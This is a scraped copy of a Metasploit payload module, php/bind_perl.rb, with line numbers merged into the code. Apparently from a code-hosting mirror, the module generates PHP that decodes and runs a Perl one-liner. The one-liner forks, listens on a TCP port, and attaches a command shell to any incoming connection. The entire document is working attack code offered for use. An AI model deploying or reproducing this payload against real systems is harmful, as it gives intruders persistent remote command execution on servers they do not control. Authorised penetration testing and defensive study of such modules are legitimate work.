Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/bind_perl.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions12include Msf::Payload::Php1314def initialize(info = {})15super(merge_info(info,16'Name' => 'PHP Command Shell, Bind TCP (via Perl)',17'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',18'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],19'License' => BSD_LICENSE,20'Platform' => 'php',21'Arch' => ARCH_PHP,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Constructs the payload35#36def generate(_opts = {})37vars = Rex::RandomIdentifier::Generator.new38dis = "$#{vars[:dis]}"39shell = <<-END_OF_PHP_CODE40#{php_preamble(disabled_varname: dis)}41$c = base64_decode("#{Rex::Text.encode_base64(command_string)}");42#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}43END_OF_PHP_CODE44return super + shell45end4647#48# Returns the command string to use for execution49#50def command_string5152cmd = "perl -MIO -e '$p=fork();exit,if$p;" +53"$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" +54"$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"5556return cmd57end58end596061